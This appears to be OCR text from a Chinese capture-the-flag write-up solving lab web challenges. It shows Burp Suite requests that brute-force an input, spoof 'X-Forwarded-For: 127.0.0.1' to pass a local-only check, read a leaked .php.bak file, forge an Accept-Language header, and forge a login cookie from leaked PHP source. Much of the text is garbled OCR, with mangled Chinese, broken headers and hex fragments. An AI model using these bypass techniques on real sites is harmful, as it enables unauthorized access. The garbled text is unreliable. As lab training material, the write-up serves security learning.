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Bup Intruder mel Window Help

| Target | Provy | Spider | Scanner Mrjw]'amnw|wm|¢mm|&imr Options | Alerts
|1 - g
(]
Ga Cancel Target: hitp:/10.1.1.147:5601  ~ g
Request Response
| Rawe | Pavams | Headers | Hex | Jm]mﬂmimimuimm|
900
styles’ foar=size:fpx;” b /Plag. aleri ' FRWARE. . f" g l,—llerlE $Eil
- Wk RRRmER: HELE B, AARAELNT-TE (KL )., [ WETTL A
/) —_— H f—
Bl L% N Tape, B35 - /MER
[ i Bt P bl vl Boota « ewewad 55 Lirvylin =[] x]
Burp Intruder Repeater Window Help
Target | Provy | Spiter | Scanner | intnuder | Repeater | Sequences | Decoder | Comparer | Extender | Options | Aests | o
[1-J2ul.-|
[:]
Go Cancel <ir k> Target: hitpzif10.1.1. 1475001 ~ | ©
Request Response
[ Raw | Params | Headers [ Hex | | Raw | Headers | Hex | HTML | Render |
;T:' 1 . i ,--_\... ST T .
U @) Gecks 20100100 Fire:

fox/90.0




Le e . /Flag. uzn alert " Fill. WlEE ") alere (' BElFla
B . Flag-Wis, txt’ )
0 matchas

0 malchas

P [alhttp://10.1.1.147:5001/Flag-Win.txt

10.1.1.147:5001/Flag-Win.t<t X +

QO & 10.1.1.147

Wi X AR Blofr. “XIZHR” EEHERS): ?

KT S E-EIEEMK-btzhy, EFRZ, BRAFHRR:
Go Target: http:/110.1.1.147:5001
JFlaw| Params iHeaders Hex | JRW| Headers ;Hax | HTML iRender I
POST HT 11 _‘\ F‘
] ws NI N1 . U
tyle=" font=-size:Opx:" >. /Flag. txt 1>¢/html riptralert (" BANE! I5W
) 3 ript riptralert " H P #aFEICFFM . Flag-KOr4dji. php’)
o = 1Pt -
< || +||> 0 matches < ||+ ||=]||Ty 3 search ter ) _ b D matehes
VAl Flag-KOr4diji.php
- 0] x|
TIRITE | x [
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[z Lnas
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B e @ HackBar L1 5 Cj LILI 4

O O=EEd Dess DEdl s atwid Omm Oar Bea S

7] I O @ KN HML 35 J5 xHR R B SE ws B xEes  TEE: 3
o Hidk =4 =i 3 EiEE = e 1] P 0 K 150 mee
200 GET J& 10.11 147 5001 Flag-kDrddji phg document htm SEE s0Fs l7ee
PRI A RN
TEFTE! x http://10.1.1.147:5001 /Flag-K0rd X -4
C @ 8 view-source:http://10.1.1.147:5001/Flag-KOrddji.php#
<html>
<head>
{meta charset="GBK">
titledARITH! </title
{style type="text/css”>
{/style>
{/head>
<{body style="background-color:black;”>
{center>
<br/><br/><br/>
<hl style="color:green: ">AMRFETIH! </hl>
| —1R o B gy 245y % —>
(form action="#" method="post” >
<br/><br/><br/>
{input type="text” value="" name="hacker” />
<inﬁut tyﬁeZ"suEmit" value="Hacker— " />
{/form>
{/center>
{/body>
</html >
burpsuiti i BUZ B

Burp Intruder Repeater Window Help
I Target | Proxy | Spider iScanner [Intmdor Repeater | Sequencer iDecodnr | Comparer ;Extender ' Options iﬁleris |
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Target |F'usﬂluna W Options
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Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various p
in different ways.

Payload set: |1 E Payload count: 90

Payload type: [Numbefs a Request count: 90

Payload Options [Numbers]
This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ® Sequential L Random
From: 10

To: 99

Step: 1

How many:

MNumber format

Base: ® Decimal () Hex
 — CSDN @shuzk
Min inteaer diaits: = = o

[ L= iy )
M[=1E3
Burp [JEEY Repeater Window Help
Targ Start attack peater ]Soquam:u' Imoodor ICompurer |Ebdender |Op||nnc |Nnrls ]
Open saved attack

Targ Send to Repeater

Actively scan defined insertion points

Save attack config =
=
l'_J Load attack config i
Copy attack config » | be inserted into the base request. The attack type determines the way in which payloads are
Mew tab behavior = full details.
Automatic payload positions * g

Configure predefined payload lists

Host: 10. 1. 1. 147:5001

User-Agent: Mozilla/5.0 (Windows NT 6. 1] Winb1: x64: rv:90.0) Gecko /20100101 Firefox/90.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */%:q=0. &
Accept-Language: zh-CN, zh:q=0. 8, zh-TW:q=0. 7, zh-HK:q=0. 5, en-US:q=0. 3, en:q=0. 2
Accept-Encoding: gzip, deflate

Referer: hutp://10. 1. 1. 147:5001/Flag-ROridji. php

Content-Type: application/x-www-form-urlencoded

Content=Length: 13

Origin: http://10. 1. 1. 147:5001

Connection: keep-alive

Cookie: Cookie=cTEyMzQINjc40TBwLid=

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

hacker=/§ hacker §|

e

v
lij liJ [+ t] Type a search term Omatches | Clear
b “C5BN @shux

Attack Save Columns

M'furgat PosliunslPu.ylnudsIOpﬂonsl .

Filter: Showing all items D

 Damiaet | Davdaad | Shabie | Eremr | Timamid | anmth o Mamraant |
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1|57 66 200 [ B18 5
0 200 J 747 baseline request /
1 10 200 | T47
2 1 200 ] 74T
2 12 200 747 L
41 Request ]F‘.esponse ]
p JRaw ; Headers | Hex | HTML | Render |
! 1 style="color:green: > #DM MK = 58 0 IR &%
lnhsp,ini;sp,lnhsp.,” ) % 5
i t type= it” value="Hacker B L
vralert (" MMM R lag{cef_victory_SecBugl”)
Y
< + > tarry 0 matches
Finished ESEIREES LS
ATDLE B2 T0 266, T AL T 404 /5 i
| 12 00 TAT
Request [Raeponse |
v | Raw | Headers |Hax ] HTML | Render |
Fe] ) Fa F3 Fae) -] ol ) U T F=3 E) L h] 55 UL ] T == aL e
W27 22 20 2t e od Oa 09 09 09 26 Be 62 73 70 3b 2 " (=&nbsp;&
wl|2 Be 62 73 70 3b 2 Ge 62 73 70 3b 0d Oa 09 09 09 nbsp;&nbsp;
29 3¢ B89 (1] 70 75 74 20 T4 79 T0 65 3d 22 73 75 62 <input type="sub
2a Bd 69 74 22 20 76 61 B¢ 75 65 id 22 48 61 83 6b mit" value="Hack
2b 65 2 ed b8 80 ed b8 8b 22 20 2t 3e 0d Oa 09 09 erd, 4 ."/>
2C 3¢ 2t (715 Bf T2 B&d K] 0d Oa 09 3c 2f B3 65 Ge T4 <fform></cent
2d B5 72 e od Oa 0d Da 3c 21 62 Bf 64 79 3e od Da er=</body>
2e 3c 2 68 74 6d B¢ 3e 0d Oa 0d Oa 3¢ 73 63 72 69 <fhtmi><scri
21 70 T4 38 61 Bt 65 T2 T4 28 27 er S¢ of &b 98 af pt=alert('cziae -
30 ed be %b eg 8b ab ed bd a0 ed ba B6 ef be 81 45 e¥e. 88V 8% F
31 6¢ 61 67 b 63 74 66 5t 76 69 63 74 61 2 79 5f lag{ctf_victory_
a2 53 65 63 42 75 67 7d 27 29 3c 2 73 63 72 [3:] 70 SecBug})')</scrip
33 74 3e - - - - - - - - - - - - - - =
Finished - = —

_io/x W

I TETR % hitpyf10.1.1.147:5001 fFlag-Kord X 1
0 & 1011247 2 i 1 @

[esanii L uz

) 10.1.1.147:5001

asEsT |
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g Q ® FE HML C55 5 MR T B8 EE ws Mb wRan FeE: I Be

e ik W i BiEE = g ome  lzmip [Bb



Il 200 POST 10111475001 Flag-rOrddjiphp # document Html =55 ¥ ss05%[) F!’ﬁ,lghu

2ET B an 1 v T Fanmnn e Cmaranl medar laem 10 kreal =l e WL

Flag{ctf_victory SecBug}
PR | RE—EAR

W

Lﬁ view-source:nttpy//10.1.1.147:5002/

0 BiwEirE—RIEERETH Firefox 7. SEEFE— MRETALFSEF LN ? HER—6 . WiDEs: ! BT Firefox...

<HTEL><HEAD><TITLE>SkE—3R$ARL </TITLE>
<NETA HTTP-EQUIV="Content-Type” Content="text/html; charset=utf-8">
</HEAD><BODY>

{!-—robots. txt—1>
<{p style="text-align:center margin-top:20px">E%, FHI], HEFEET p>
</BODY></HTHEL>

CSDN @shuzk

R TErobots.txt, 7~ FEconsole

€« 52 C 06 (O & 10.1.1147:5002/r0bots.xt

0 HEwira—Rn R Frefox 7, SEEFE— MNREXHLIFSEF SN ? MER— , MREs: ! i3 Firefox...

User-agent: *
Disallow: /console/

« > C B0 [O R 10.1.1.147:5002/console/

| 0 BEEA—RHITRMITH Frefox 7, STEEFE—TEREY4LIFGIET 2IRNOME 7 IBER—0 . WDE:®! H# Firefox...

gz ! | | (FIPATERASEEM | iSEREEIPH TR CSDN @shuzk

B headerthyid 4= #th #u b X-Forwarded-For:127.0.0.1

LBkt S |

Burp Intruder Repeater Window Help

I'r-gdIpm]m]mimMm[mlw]m]wﬂm]m]




Go 3 Target: hitp:/10.1.1.147:5002 ~

| Raw | Headers | Hex

Headers | Hex |

Name vaiug Add el
Host 10.1.1.147:5002 r
L Remove

User-Agent Moziiass.0 (Windows NT 6.1; Wing4; x64; rv:

X-Forwarded-For 127.0.0.1 up

Accept text/hitml application/xhimi+xmi,application/xm... Down

Accept-Language zh-CH.zh;q=0.8.zh-TW:q=0.7.zh-HK:q=0.5.en... W61 as {hetianlab-vecketf

Accept-Enceding gzip, deflate

Referar hitp210.1.1.147: 5002/ console/

Connection keep-alive

Upgrade-Insecure-Re... 1

Pragma no-cache &

Cache-Control ne-cache | < Lt hx| | T earch ter 0 matchas

Done 251 bytes | 1,003 mjliis :
e O 5

flag{hetianlab-weekctf}

https/10.1.1.231 1.php

& @ £ view-source:https/10.1.1.23/1/1.php Ty m M & =

SIDOCTYPE hrem! PUBLIC ”—ff{.r:?(.‘ffﬂfﬁ XHTHL 1.0 Transi rl.UJ]F}?,"‘f{EN” ”.FJfrp_'//irwn'_ w3, urg/]rﬁ',thr‘mf Iﬂ}fﬂhhmf I-trans
<html xmlns="http:/ /wow. w3 org/ 1999/ xhtml” lang="zh-cn">

<head>{meta http-equiv="Content-Type” content="text/html; charset=utf-8" /><{meta http-equiv="Content-Language” conte
< head>

<body>

<div align="center”>
HDHERF—X VHD
<Sdiw’

Cbody>
</html >

&

JERSH R 1.php.bak

Mphpbak
B Wiew-sourcenttpy/10.1.1.23/1/1 phpbak w oo @ in @ &

CIDOCTYPE hemdl PUBLIC “-//F3C//DTD XHTHEL 1.0 Transitional //ENT “hitp://eww. w3 org/TR/ chiml 1/0T0/shiml i-trans
¢html xmlns=" 1/ feaw, w3, org/ 1999/ " lang="zh-cn">

<head><meta http-equiv= Content 3 f

< heads

<body>

<div align="center”>" ;

CHLZRFR|F—FGHLY

<fdivy"

1 BB 1. php. bak>

{button type="button” onclick="javascript:location. href='theZnd. php’ “>3 % (/button>
<fboady?

<fhtml >

A

Fthe2nd.php



I + 10.1.1.23/1 f3rd.php X

- X @ @ & 10..2.23/1/3rdphp

v @ 9 In @D @

CSDN

| Ga . Cancel < | > > |

Request

ol e [ s [

a G

Target: hitp/10.1.1.23 LZJ @
Response

[ o [ vessers [iex o | mencer |

FOST /1/thelnd php HTTP/L 1

Host: 10.1.1. 23

Y=-Forwnrded-For: 127 0.0, 1

User-Agent - Mozilla/5 0 (Tindows NT 10.0; zv:70. 00 Gecko/20100101 Fizefox/T0.0
hecept: text/html, application/chtal «xml, application/iml;q=0. 9, x/*; q=0. §
hecept=Language: ch=CN, zh:g=0. 3, zh=T7, q=0. 7, zh~HE: q=0. 5, en-U%; q=0. 3, en; g=0. 2
Content-Trpe: application/m-wws—form-urlencoded

Content-Leneth: &

Origim: http: /10,1123

Comnsction: closs

Referer: ‘Il||1 tp: /410 1. 1 23/ the2nd. php

Uperade=Insecure=Requests: 1

text=]l

BEEEI

BXFFORE R, ZikjsBhi

10012301 f3rd php

e

| %X

Date: Sun, 21 Mov 2021 18:08:42 ¢NT N
Sexver: Apache/2 4. 10 (Fin32) OpensSL/L. 0. 1h PHP/3. 4. 31
i-Powwzed-Br: PHP/3. 4. 31

Content=Leneth: 563

Connection: close

Content=Type: text/html

'DOCTYPE hrml PUBLIC
Transitional//EN™
Rttp: e wld, org/Th/xhtm] L/DID/xhtm] I-transitional, dtd”
himl xmlns="http: /fewe w3, org/1999/html ® lang="zh=-en™>
head metn http=-equive Content=Type  contents text himl:
charsetsut £=8" /rimetn http-equive Content-Langusge”
content="zh-cu” />
Shead
bady
dav align="centes”
form mction="" method="post”
input type= text names text” /O
input types submit” walues ™Sl AN =%

Sorm>
1imeta http-equive"Refresh”
content="0;uzl=http: /710, L 1 23/1/3xd, pho "< /div

—A/W3CA/DTD KHTNL 1.0

Soody

Shiml I3

L ? < + i = Tipe 3 search berm (_: D |‘j @Jjﬂrlrﬁ'ﬁ'
TRA hidae

i S G ]
D CHALER R TGS B R,

@ & 1011231/ 3rdphp

| Burp ktnsder Repester Window Help

e @

IFREREEE

?BRA [ Terget | o | soider | scanner | wtruder | Repester | Seauencer | Decoder | comparer | Extender | Project options | wser options | aents |

[+ < T2 - Jigwsl - |

[ 6o | | cance < |v > v

Request

e,

Response

—

Target: hitpA0.1.1.23 Ej @




Um|ma|mx| Jﬁmimadm|ﬂex|mu_|mm|

GET /1/didguan php HTTP/1 1 & HITP/1. 1 200 OK &
Host: 10, L L I3 - Date: San, 21 Boew 2021 18:17:43 cNT -
Usez=hpent: Mozilla/5. 0 (Tindows NT 10.0: xv:70.0) Gecko/20100101 Sexver: Apnche/2. 4. 10 (Tind2) OpenSSL/1 0. 1h PHP/5. 4. 31
Fizefon/70.0 i-Fowered-Br: FHP/S. 4. 31
kecept: text/html application/rhiml +xml, application/xml:q=0 9, &/ %; g=0 & Wext: wozaizheli. php
hecept=Language Content=Length: 435
zh—Cl, zh:q=0. 8, zh-TF:g=0. 7, zh-HE: g=0. 5, en-US: q=0. 3, en;g=0.1 Connection: close
Referex: http://10. 1 1 23/1/3:d phe Content=Type: text/html
Connectyon: close
Uperade Insecure-FReguests: 1 TN
Cache=Control - max=age=d

hend‘metn hitp-equiv="Content-Type” content="text/himl; chazset=u}f-§~

Srimeta http-equive Content-Lancusge contents sh-CH™ /

Jhead

bod:

div align="center  FEREM S P

TP Rb - F— XML T SRR T v Seadr

/fhtal

- e
v L4

I 7 J '\;J * l;.‘ it 3 Search barm 0 matches -‘;] LLJ | - 11 > | Tupe & search berm 0 matches
Done

f"'-’-‘}ﬂi‘,‘;‘iira.’." iE

« ¢ @ O & 1011.23/1/w

@ R R TR AA B R,

AR EEREKEYT .,
R

T o e b —
N CS5DN @snuzk

< > C o © & 10.1.1.23/1 /w0

R RIKEY T,
=g

O O=a% DEgs DimstsE flmEE ((ase O#hE OaFE B =E fr TESim

E . -+ Ery ot shev £ls
Ad MR EAIEYT . A EE O 4
<by }

» ¢div ide"joy™ onmouseovers"Joy() "> |ewent
w oform action="" method="post™

hidden HIT | HIT
cinput type="subait™ wvalue="@¥" style="display:block™
<fform
<fdive
o fdive
¢ fhodys
s fhtmls s
htral > body > div > divwoy > form

=

@ BEAFE—LNBIAIIT Firefox 7, STEWE-TREALENSET I PINER—E . FWER | AR



XEAANsTT Loy, RirBahB| 1M, HHAMEWE R, B ekl Zid=joyBl 7]

Everything
10.1.1.23/1 fwozaizheliphp P PNG B, 214296 @5E ) ¥ | hitpy/10.1
<« ¢ @ Q@ & 10.1.1.23/1fwozaizheli phy . @
R HRERRIKEY T,

O O=fd Digss DEds NAE R O OaF B EE Gt TSR cr |I it
_._;_a‘_._.__ /a5l ./.
B + g5 hov £ls 4+ M M &8 dﬂfﬂ W

F=RH | RT

Y urp Sie Profssionst v1 St - Kanend 9 Loy RE _

Burp Intruder Repeater Window Help

|Targel:_ Proxy ;Splder |Scarlrlsr l Intruder [mpmar ] Sequen I 257 *

|'1 |2 | < X @ O & 1001147 i

Go Cancel

43

# Request

B . EET | BihE SRR E !

Wingd: x64; rv:90.0) E‘, ﬁ -
1:9=0.9, image /we —————| ﬁlﬂ

=0, 5, enU5:4=0. 3, en:q=0. 2

JRaw] Headers | Hex |

e

® ‘o

[ —--

L

< ||+ || = | Type asearch term 0 malches

llsilelle - ATHT B8 .

1011347 LS (QSTLZA

&

¥ Fheader, Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2



MRAE DU & B E AL BT, X R1F H A B accept-language R :

en-us;
en-gb;
fr-FR;
de;

jps

: kor;
FEPEF: esp;
Hid: sve;

FOIOB N

Accept-Language: en-US;en-gb;fr-FRde;jp;kor;esp;sve;

— = i = (—
Request Response
_LmIHeadam Hex] _[W Headers |Hax |HTML ‘ Render ]

User—Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0)
Gecko/20100101 Firefox/90.0

Accept:
text/html, application/xhtml+xml, application/xml;q=0. 9, image/we
bp, ®/*;q=0. 8

Accept-Language: en-US;en-gb:fr-FR.de; jp:kor esp;sve;
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

=

— A Accept-Language, 75 Zlflag
flag{Thisis_hetianlab@}

% VU E | Check your source code

E

<br/>
<img sre="5. jpg”
<img sre="6. jpg”
<img sre="T. jpg”
<img src="8. jpg”
{br/ »<br/ >
{img sre="2.

height="250" />&nbsp:&nbsp:

{/center>
<."Jb0d5'>
</ html>

gif”

flag!

/>&nbsp;knbsp;
/»&nbsp; &nbsp;
/+&nbsp ; &nbsp;
/»&knbsp;&nbsp;

width="250"

CSDN @shuzk




« > O @ ‘& view-source:http://10.1.1.147:5004/ ﬂ?‘ h @

0
0 SLRE—BHNRETH firefox 7. SEEEE—NRETA4LEHSIETSHOME ? IMBR—G , WRE:: !

<html>

<body>

<head>

<meta charset="UTF-5">

<title>ER</title> 7

<fhead>

<p>REZEREREFAO</p>

<form method="FOST" action="">
Usernawe: <input type="text" name="username"> <br>
Password: <input type="password"” name="password"> <br>
<button type="submit">Submit</button>

</form>

<!== JSsource.txt -->

</hody>

; </html>

CS5DN @shuzk

<?php $flag = "XXXXXXXXXXXXXXXX"; $secret = "xx"; if(lisset($_POST["username"]) || lisset($_POST["password"])){ exit(); }
Susername =$_POST["username"]; $password = $_POST["password"]; if (lempty($_COOKIE["check"))) { if
(urldecode($username) === "admin" && urldecode($password) !="admin") {if (§_COOKIE["check"] ===
base64_encode($secret) . urldecode($username . $password))) { echo "Login successful.\n"; die ("The flag is ". $flag); } else { die
("EHEE TIREIcookielE! ");}} else { die ("IRENBE B 0 BHE SEE? "), } } setcookie("ahash", base64_encode($secret .
urldecode("admin” . "admin")), time() + (60 * 60 * 24 * 7)); 7>

ahash = ODhhZG1pbmFkbWIufi# % 1§ £|88adminadmin, 887 $secret

RIS #3% cookie:check=ODg=adminadmin1, %

|Targai Proxy |Spldnr |Sca1ner il||1mcm w&quan:ur iDomdar ICon'puror |E>donder ] Options ].&Iub: ]
i‘l K E 3 = |<.,
Go Cancel £r 2] Target: http:/10.1.1.147:!
Request Response
Params | Headers | Hex -ﬂl-hadmlmm HTML | Render |

POST 7 HTIP/1. 1 & <hrml>
Hesz: 10. 1. 1. 147:5004 F. <hodyi
User-Agent: Mezilla/5.0 (Windows NT 6.1; WinGd; x64; rv:90.0) Gecko /20100101 ‘head>
Firefox/90. 0 <meta charset="UTF-87>
Aecept: text/himl, application/xhtel+xel, application/xml;q=0. 9, image ‘webp, ®/*;4=0. 8 CritlexfEE< vinler
Accept-Language: zh-CX, zh;q=0. 8, zh-TW.q=0. 7, zh-HE;q=0. 5, en—15;9=0. 3, en;g=0. 2 </ head>
Aecept-Encoding: gzip, deflate i ERARRENERAD
Content-Type: application/s—www-form-urlencoded | <form method="POST" action="">
Content-Length: 30 1 Username: <input type="text” name="username”> <br>
Origin: http://10. 1. 1. 147:5004 Password: <input trpe="password” name="password”» <br:
Connection: keep=alive <button type="submit™>Submit</button>
Referer: http://10. 1. 1. 147:5004/ </form>
Upgrade-Insecure=-Requests: 1 {1=— fsource. txt =
Cockie:check=0Dg=adninadainl </body>

</hral>
username=adninkpassword=adainl Login successful.

The flag is flag{welcome_to_htlab]
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